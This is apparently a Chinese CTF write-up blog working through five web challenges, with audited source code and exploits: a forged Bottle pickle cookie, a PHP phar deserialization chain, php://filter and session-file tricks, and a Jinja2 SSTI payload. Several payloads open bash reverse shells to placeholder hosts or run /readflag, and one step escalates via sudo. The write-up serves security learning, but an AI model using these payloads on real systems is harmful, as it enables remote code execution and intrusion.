学习一下思路😋
Mountain
无环境,看思路
扫目录,三个目录,读注释与源码
./display有提示有.png图片,读取有文件读取,目录穿越/etc/passwd可以,读工作目录/proc/self/cmdline,ban了,/proc/1/cmdline,有python项目(可以看相应包WSGIServer CPython):python/appppp/app.py
源码审计
- 密钥应该可读config.py,session伪造?
- 没有什么执行点啊,/admin也没有
- 猜测出题人意思,考点应该有session,难道有session反序列化?(这里看./hello返回包会有pickle的base64数据格式)
审计一下flask源码: pycharm起一个或者vscode起一个,不是源码,读bottle里的request看看(可以读读他的,避免版本),不对bottle也是框架嘻嘻
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66from bottle import Bottle, route, run, template, request, response
from config.D0g3_GC import Mountain
import os
import re
messages = []
def home():
return template("index")
def hello_world():
try:
session = request.get_cookie("name", secret=Mountain)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=Mountain)
return template("guest", name=session["name"]) if session["name"] == "admin" else None
except:
return "hacker!!! I've caught you"
# 单纯返回文件内容
def get_image():
photo = request.query.get('photo')
if photo is None:
return template('display')
if re.search("^../|environ|self", photo):
return "Hacker!!! I'll catch you no matter what you do!!!"
requested_path = os.path.join(os.getcwd(), "picture", photo)
try:
if photo.endswith('.png'):
default_png_path = "/appppp/picture/"
pngrequested_path = default_png_path + photo
with open(pngrequested_path, 'rb') as f:
tfile = f.read()
response.content_type = 'image/png'
else:
with open(requested_path) as f:
tfile = f.read()
except Exception as e:
return "you have some errors, continue to try again"
return tfile
def admin():
session = request.get_cookie("name", secret=Mountain)
if session and session["name"] == "admin":
return template("administator", messages=messages)
else:
return "No permission!!!!"
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8089)解题
- 拿secretkey,读/appppp/config/D0g3_GC.py
- pycharm一个服务拿而已flask的cookie,模仿生成
- 放入name,发送即可
"!yy/92kdpkjv1hVsC1Ja/yEUD6qowd3HNgdFsEIPhV8M=?gAWVbwAAAAAAAABdlCiMBG5hbWWUfZRoAYwIYnVpbHRpbnOUjARldmFslJOUjENfX2ltcG9ydF9fKCdvcycpLnN5c3RlbSgnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgveCAwPiYxIicplIWUUpRzZS4="
- 放入name,发送即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19from bottle import Bottle, route, run, template, request, response
import os
Mountain="M0UNTA1ND0G3GCYYDSP0EM5S20I314Y0UARE50SMAR7"
class Evil:
def __reduce__(self):
return (eval, ("""__import__('os').system('bash -c "bash -i >& /dev/tcp/xxx/x 0>&1"')""",))
def hello_world():
try:
session = {"name": Evil()}
response.set_cookie("name", session, secret=Mountain)
return "ok"
except:
return "hacker!!! I've caught you"
if __name__ == "__main__":
run(host="0.0.0.0", port=5001)
signal
signal env
docker build -t signal .
docker run -d -p 5000:80 --name signal-app signal
signal 分析
扫目录,admin.php StoredAccounts.php,.index.php.swp(这里没有扫出来wc) – bsgm?给的源码里根本没有备份文件,不管了
- 有用户guest:MyF3iend
读文件
/guest.php?path=php://filter/read=convert.base64-encode/resource=index.php 被过滤了,emm,推测一下后面使用的是include
/guest.php?path=php://filter/resource=index.php ok,因该是base64被过滤了
- idea1: 准确是base, convert, rot被过滤了,似乎不行,wp用到二次url编码,emm,不懂,蹲一下
/guest.php?path=php://filter/read=%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=/var/www/html/index.php
,这里的/var/www/html可以读出来 - idea2: filter-chain读文件?这里似乎也是可以的,等下读一下
- idea3: filter-chain直接rce?似乎也是可以的
- 读文件
- /tmp/hello.php
- index.php
- StoredAccounts.php
- admin.php
- 贴一下关键的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37// 只有admin.php是关键的
session_start();
error_reporting(0);
if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
$_SESSION['error'] = 'Please fill in the username and password';
header("Location: index.php");
exit();
}
$url = $_POST['url'];
$error_message = '';
$page_content = '';
if (isset($url)) {
if (!preg_match('/^https:\/\//', $url)) {
$error_message = 'Invalid URL, only https allowed';
} else {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$page_content = curl_exec($ch);
if ($page_content === false) {
$error_message = 'Failed to fetch the URL content';
}
curl_close($ch);
}
}
if (!empty($page_content)) :
<div class='content'>
<?= nl2br(htmlspecialchars($page_content)); ?>
</div>
<?php endif; ?>- idea1: 准确是base, convert, rot被过滤了,似乎不行,wp用到二次url编码,emm,不懂,蹲一下
payload思维
- curl ssrf,会回显相应的内容
- 由于允许一次跳转,那https不是问题,但是问题是https(ssl 55)
- sstf不太熟练,找找资料
- [https://xz.aliyun.com/news/10663]
- 其中fastcgi和php-fpm,似乎有rce,可能有用,[https://www.freebuf.com/articles/web/263342.html]
- 具体实现看官方题解复现一波嘻嘻,突然很懒[https://xz.aliyun.com/news/16077]
图片查看器
图片查看器 env
docker build -t photo_checker .
docker run -d -p 5000:80 --name photo_checker photo_checker
图片查看器分析
hI3t.php
怎么读文件呢?
- 测信道试试,需要php:filter,真可以
- 读文件
hI3t.php:
python3 filters_chain_oracle_exploit.py --target http://localhost:5000/chal13nge.php --file hI3t.php --parameter image_path
1
2PD9waHAgLy9nbyB4QDEucGhw
b'<?php //go x@1.php'x@1.php,再读chal13nge.php(有问题,filter-chain读取有限制)
- phar反序列化直接到backdoor执行
- 直接打phar就好了,反正无视php://filter/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
highlight_file(__FILE__);
//以下是class.php文件内容:
class backdoor
{
public $cmd;
// 命令执行
function __destruct()
{
$cmd = $this->cmd;
system($cmd);
}
}
class B
{
public $name;
function __construct($name)
{
$this->name = $name;
}
// __toString()
function greet()
{
echo "<h3>hello " . $this->name . "</h3><br>";
}
function __destruct()
{
echo "<a href='chal13nge.php' class='link-button'>欢迎来到挑战,点击挑战</a><br>";
echo "<!--There's something in the hI3t.php-->";
}
}
//主要文件内容部分源码:
//
//<?php
//error_reporting(0);
//include "class.php";
//
//if (isset($_POST['image_path'])) {
// $image_path = $_POST['image_path'];
// echo "The owner ID of the file is: ";
// echo fileowner($image_path) . "<br><br>";
// echo "文件信息如下:" . "<br>";
// $m = getimagesize($image_path);
// if ($m) {
// echo "宽度: " . $m[0] . " 像素<br>";
// echo "高度: " . $m[1] . " 像素<br>";
// echo "类型: " . $m[2] . "<br>";
// echo "HTML 属性: " . $m[3] . "<br>";
// echo "MIME 类型: " . $m['mime'] . "<br>";
// } else {
// echo "无法获取图像信息,请确保文件为有效的图像格式。";
// }
//}
打phar:phar.php
- 进入后台没权限,emm
- suid不行,用sudo吧,有可以免密的脚本,可以传脚本
- S1:
echo "cat /root/flag" > /tmp/run.sh
- S2: 给权限:
chmod 777 /tmp/run.sh
- S3:
sudo /tmp/rootscripts/check.sh "/tmp"
运行一下拿到flag
- S1:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//反序列化payload构造
class backdoor
{
public $cmd;
public function __construct()
{
// 反弹shell
$this->cmd="bash -c 'bash -i >& /dev/tcp/xxx/xxx 0>&1'";
}
}
// @unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
//设置stub,GIF89a可以改成其他的字段,绕过文件头检验,但必须以 __HALT_COMPILER(); ?\> 结尾
// $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?\>");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将反序列化的对象放入该文件中
$o = new backdoor();
$phar->setMetadata($o);
//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
// 重命名为gif即可
// system("mv phar.phar phar.gif");
// system("cp phar.gif /home/kc1zs4/Code/CTF/");
system("mv phar.phar phar.png");
system("cp phar.png /home/kc1zs4/Code/CTF/");
echo $o->cmd;
// 最后运行命令: php -d phar.readonly=0 phar.php
n0ob_un4er
n0ob_un4er env
n0ob_un4er 分析
给了index.php
$SECRET
是假的,要读文件,后伪造就成了,要读waf.php和readflag?- php:filter可以的
- filter-chain读不到文件,这里目录穿越不行?
- 直接打rce可以吗
- 这里如果可以打phar其实也可以直接过,但是没有得上传,是否可以直接传网络流?[https://www.cnblogs.com/zpchcbd/p/17368982.html]有这种操作
- 有点sad,data被过滤了,emm
- 看题解嘻嘻
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
$SECRET = `/readsecret`;
include "waf.php";
class User {
public $role;
function __construct($role) {
$this->role = $role;
}
}
class Admin{
public $code;
function __construct($code) {
$this->code = $code;
}
// admin代码执行
function __destruct() {
echo "Admin can play everything!";
eval($this->code);
}
}
function game($filename) {
if (!empty($filename)) {
// 这里有waf.php的, copy可以filter-chain的
if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {
echo "Well done!";
} else {
echo "Copy failed.";
}
} else {
echo "User can play copy game.";
}
}
function set_session(){
// 普通的设置是普通的user,这里可以有SECRET可以伪造吗
global $SECRET;
$data = serialize(new User("user"));
$hmac = hash_hmac("sha256", $data, $SECRET); // 类似于签名?
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
// 可以伪造的话就没有问题
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {
die("hacker!");
}
$data = unserialize($data); // 这里就会生成对象了阿
if ( $data->role === "user" ){
// 如果是user,则game
game($_GET["filename"]);
}else if($data->role === "admin"){
// GET传入code
return new Admin($_GET['code']);
}
return 0;
}
if (!isset($_COOKIE["session-data"])) {
set_session();
highlight_file(__FILE__);
}else{
highlight_file(__FILE__);
check_session();
}
n0ob_un4er 复现
分析还是很正常的,但是这里的waf是把外部的输入都ban掉了,这里需要找到一个内部可控的文件来利用
可控文件有日志文件,session文件
- php版本为7.2,这个版本就算不开启session,只要上传了文件,并且在cookie传入了PHPSESSID,也会生成临时的session文件
- 这里没有ban掉../但/etc/passwd没法读,怀疑是设置了open_basedir,所以只有session文件了(在/tmp下生成部分内容可控的
sess_<sessionid>
文件) - 总体步骤:上传一个文件,并在session临时文件中写入编码后的phar文件,然后用filter伪协议将phar文件还原写到/tmp/tmp.tmp中,最后用phar伪协议解析
解决问题1:写入phar文件: SV
变换为base64编码,然后读取的时候可以直接用伪协议就ok
这里的思想就是编码,因为有一些二进制字符无法(utf-8)直接传输,这里也可以是
1
2convert.iconv.utf-8.utf-16be 和 convert.iconv.utf-16be.utf-8
convert.quoted-printable-encode 和 convert.quoted-printable-decode
解决问题2:生成phar文件: SV
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);
class Admin{
public $code;
}
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new Admin();
$o ->code="system('/readflag');";
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
// bash: cat test.phar | base64 -w0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
// 也可以直接用python脚本解决问题3:session临时文件的利用: SV
- 这里的本意是要把phar内容写入session临时文件,但是session文件前后有数据,需要去除,利用php的base64解码特性: 合法字符只有
A-Za-z0-9\/\=\+
,其他字符会自动被忽略,如何去除,可以考虑多次base64解码(适用php://filter来实现)- 需要了解base64的编码规则
- 编码:每3个字节(三个字符24bits)映射为4(6bits/char)个字符
- 如果只有一个字节: 补上4个0加上两个=
- 如果是两字节: 补上2个0加上一个=
- 这里补上的0并不影响解码,只是为了保证编码的字符数是6的倍数
- 解码: 先取出尾部的=,每4个字符(6bits/char)映射为3个(8bits/char)
- 解码中间不能出现=号
- 编码:每3个字节(三个字符24bits)映射为4(6bits/char)个字符
- 现在要清除数据
- 先明确一下目标
- 使得变为非法字符,然后再次(可以是n次)base64解码,使得他们消失
- 去除
upload_progress_
前缀,
- 先明确一下目标
- 这里的本意是要把phar内容写入session临时文件,但是session文件前后有数据,需要去除,利用php的base64解码特性: 合法字符只有
ez_galllery
ez_galllery env
docker run --name ez_gallery -d -p 5000:6543 sketchpl4ne/gcb2024:ez_gallery_img
ez_galllery 分析
标头看出是python框架
没有其他信息,弱密码admin:123456
扫目录
1
2
3
4[15:47:12] 403 - 12B - /home
[15:47:13] 403 - 12B - /info
[15:47:14] 200 - 5KB - /login
[15:47:18] 403 - 12B - /shellshell可访问?先读个文件
/info?file=/proc/self/cmdline
: python3 app.py- 置空报错进debug?似乎不行,有对错误进行处理
- 看app.py:
/info?file=../../app.py
- 有没见过的东西: pyramid,是啥
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127import jinja2
from pyramid.config import Configurator
from pyramid.httpexceptions import HTTPFound
from pyramid.response import Response
from pyramid.session import SignedCookieSessionFactory
from wsgiref.simple_server import make_server
from Captcha import captcha_image_view, captcha_store
import re
import os
class User:
def __init__(self, username, password):
self.username = username
self.password = password
users = {"admin": User("admin", "123456")}
def root_view(request):
# 重定向到 /login
return HTTPFound(location='/login')
def info_view(request):
# 查看细节内容
if request.session.get('username') != 'admin':
return Response("请先登录", status=403)
file_name = request.params.get('file')
# 文件名和后缀分开
file_base, file_extension = os.path.splitext(file_name)
if file_name:
# 有一个新目录
file_path = os.path.join('/app/static/details/', file_name)
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
print(content)
except FileNotFoundError:
content = "文件未找到。"
else:
content = "未提供文件名。"
return {'file_name': file_name, 'content': content, 'file_base': file_base}
def home_view(request):
# 主路由
if request.session.get('username') != 'admin':
return Response("请先登录", status=403)
detailtxt = os.listdir('/app/static/details/') # 可列目录
picture_list = [i[:i.index('.')] for i in detailtxt]
file_contents = {}
for picture in picture_list:
with open(f"/app/static/details/{picture}.txt", "r", encoding='utf-8') as f:
file_contents[picture] = f.read(80)
return {'picture_list': picture_list, 'file_contents': file_contents}
def login_view(request):
if request.method == 'POST':
username = request.POST.get('username')
password = request.POST.get('password')
user_captcha = request.POST.get('captcha', '').upper()
if user_captcha != captcha_store.get('captcha_text', ''):
return Response("验证码错误,请重试。")
user = users.get(username)
if user and user.password == password:
request.session['username'] = username
return Response("登录成功!&lt;a href='/home'&gt;点击进入主页&lt;/a&gt;")
else:
return Response("用户名或密码错误。")
return {}
def shell_view(request):
if request.session.get('username') != 'admin':
return Response("请先登录", status=403)
# 打ssti
expression = request.GET.get('shellcmd', '')
# 过滤length, count, ., 数字, %
blacklist_patterns = [r'.*length.*',r'.*count.*',r'.*[0-9].*',r'.*\..*',r'.*soft.*',r'.*%.*']
if any(re.search(pattern, expression) for pattern in blacklist_patterns):
# 也没有报错阿老弟
return Response('wafwafwaf')
try:
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
if result != None:
return Response('success')
else
return Response('error')
except Exception as e:
return Response('error')
def main():
session_factory = SignedCookieSessionFactory('secret_key')
with Configurator(session_factory=session_factory) as config:
config.include('pyramid_chameleon') # 添加渲染模板
config.add_static_view(name='static', path='/app/static')
config.set_default_permission('view') # 设置默认权限为view
# 注册路由
config.add_route('root', '/')
config.add_route('captcha', '/captcha')
config.add_route('home', '/home')
config.add_route('info', '/info')
config.add_route('login', '/login')
config.add_route('shell', '/shell')
# 注册视图
config.add_view(root_view, route_name='root')
config.add_view(captcha_image_view, route_name='captcha')
config.add_view(home_view, route_name='home', renderer='/app/templates/home.pt', permission='view')
config.add_view(info_view, route_name='info', renderer='/app/templates/details.pt', permission='view')
config.add_view(login_view, route_name='login', renderer='/app/templates/login.pt')
config.add_view(shell_view, route_name='shell', renderer='string', permission='view')
config.scan()
app = config.make_wsgi_app()
return app
if __name__ == "__main__":
app = main()
server = make_server('0.0.0.0', 6543, app)
server.serve_forever()
思路其实很多的
- 钩子回显: 官方题解: flag{jasper_wanna_two_girlfriend}:
"shellcmd": "{{cycler['__init__']['__globals__']['__builtins__']['exec'](\"getattr(request,'add_response_callback')(lambda request,response:setattr(response, 'text', getattr(getattr(__import__('os'),'popen')('/readflag'),'read')()))\",{'request': request})}}"
- 带外(ban了.和数字难绕过)
- 写入文件回显: -rwxr-xr-x 1 root root 4659 Dec 13 21:54 /app/app.py app.py没有权限
- 盲注来获取信息: bash时间盲注: [https://xz.aliyun.com/news/16077],不过这里有个登录问题,时间上有点难崩
- 钩子回显: 官方题解: flag{jasper_wanna_two_girlfriend}:
Summary
- Mountain
- 识别不同框架特征
- 反序列化数据格式辨别(base64)
- 多多观察,返回包,session等等,攻击点泛化
- signal
- 备份文件,文件泄露补充
- filter-chain,rce和读文件再熟悉一下
- 二次编码原理
- ssrf全面一些
- 还是不能太依赖dirsearch 555
- 图片查看器
- filter-chain,rce和读文件再熟悉一下
- phar反序列化的细节和绕过
- php://filter
- 合理推测后台检测方式和函数
- n0ob_un4er
- 不愧是少解题目
- 输入源可以从临时文件,从具体的php版本下session的存储入手(不要依靠刻板印象): 不开启session会在上传文件的时候生成session临时文件,搜索: php session file
- 其实是session.upload_progress这个东西的缘故source
- php session机制的认识
- ez_gallery
- 弱密码积累一下
- pipx+fenjing